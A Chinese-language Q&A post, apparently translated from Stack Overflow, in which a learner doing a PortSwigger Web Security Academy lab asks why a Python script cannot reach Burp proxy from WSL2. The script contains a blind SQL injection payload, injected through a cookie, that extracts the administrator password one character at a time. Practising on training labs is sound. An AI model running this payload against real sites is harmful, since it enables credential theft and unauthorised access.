【发布时间】:2021-10-06 15:43:10
【问题描述】:
我正在尝试使用以下 python 脚本完成一个 portwigger 学院练习。
proxies = {'http': 'http://127.0.0.1:8080', 'https': 'https://127.0.0.1:8080'}
def sqli_password(url):
password_extracted = ""
for i in range(1,21): #Numbers of characters in the password
for j in range(32,126): #Iterating through the ASCII tables from 32 to 126
sqli_payload = "' and (select ascii(substring(password,%s,1)) from users where username='administrator')='%s'--';" %(i,j)
sqli_payload_encoded = urllib.parse.quote(sqli_payload)
cookie = {'TrackingId':'hbORcjYUFBvjTbbq' + sqli_payload_encoded, 'session':'m6xmtbeL2CHAG8PMJjijbSZ9EqaWDwuY'}
r = requests.get(url, cookies=cookie, verify=False)
我正在使用本地主机通过 Burp 代理请求。我收到以下错误:
(+) Retrieving administrator password...
Traceback (most recent call last):
File "/usr/lib/python3/dist-packages/urllib3/connection.py", line 159, in _new_conn
conn = connection.create_connection(
File "/usr/lib/python3/dist-packages/urllib3/util/connection.py", line 84, in create_connection
raise err
File "/usr/lib/python3/dist-packages/urllib3/util/connection.py", line 74, in create_connection
sock.connect(sa)
ConnectionRefusedError: [Errno 111] Connection refused
During handling of the above exception, another exception occurred:
Traceback (most recent call last):
File "/usr/lib/python3/dist-packages/urllib3/connectionpool.py", line 662, in urlopen
self._prepare_proxy(conn)
File "/usr/lib/python3/dist-packages/urllib3/connectionpool.py", line 950, in _prepare_proxy
conn.connect()
File "/usr/lib/python3/dist-packages/urllib3/connection.py", line 314, in connect
conn = self._new_conn()
File "/usr/lib/python3/dist-packages/urllib3/connection.py", line 171, in _new_conn
raise NewConnectionError(
urllib3.exceptions.NewConnectionError: <urllib3.connection.VerifiedHTTPSConnection object at 0x7fa9337d9e20>: Failed to establish a new connection: [Errno 111] Connection refused
During handling of the above exception, another exception occurred:
Traceback (most recent call last):
File "/usr/lib/python3/dist-packages/requests/adapters.py", line 439, in send
resp = conn.urlopen(
File "/usr/lib/python3/dist-packages/urllib3/connectionpool.py", line 719, in urlopen
retries = retries.increment(
File "/usr/lib/python3/dist-packages/urllib3/util/retry.py", line 436, in increment
raise MaxRetryError(_pool, url, error or ResponseError(cause))
urllib3.exceptions.MaxRetryError: HTTPSConnectionPool(host='ac181f151f07cec480be1f2b002c00f6.web-security-academy.net', port=443): Max retries exceeded with url: / (Caused by ProxyError('Cannot connect to proxy.', NewConnectionError('<urllib3.connection.VerifiedHTTPSConnection object at 0x7fa9337d9e20>: Failed to establish a new connection: [Errno 111] Connection refused')))
During handling of the above exception, another exception occurred:
Traceback (most recent call last):
...
requests.exceptions.ProxyError: HTTPSConnectionPool(host='ac181f151f07cec480be1f2b002c00f6.web-security-academy.net', port=443): Max retries exceeded with url: / (Caused by ProxyError('Cannot connect to proxy.', NewConnectionError('<urllib3.connection.VerifiedHTTPSConnection object at 0x7fa9337d9e20>: Failed to establish a new connection: [Errno 111] Connection refused')))
我尝试使用 print 来调试代码,但我注意到我无法打印请求的状态。删除代理时,脚本运行良好。我假设脚本无法通过 burp 进行代理。可能是因为我使用的是 WSL2。 Burp 安装在我的窗户上。我不知道如何解决这个问题,因为应该启用互操作性,因为我能够从 WSL 访问我的 Windows10 文件系统。我尝试使用 WSL2 从 C 驱动器中启动此代码,但它也无法正常工作。有没有办法解决这个互操作性问题?
【问题讨论】:
标签: python proxy localhost windows-subsystem-for-linux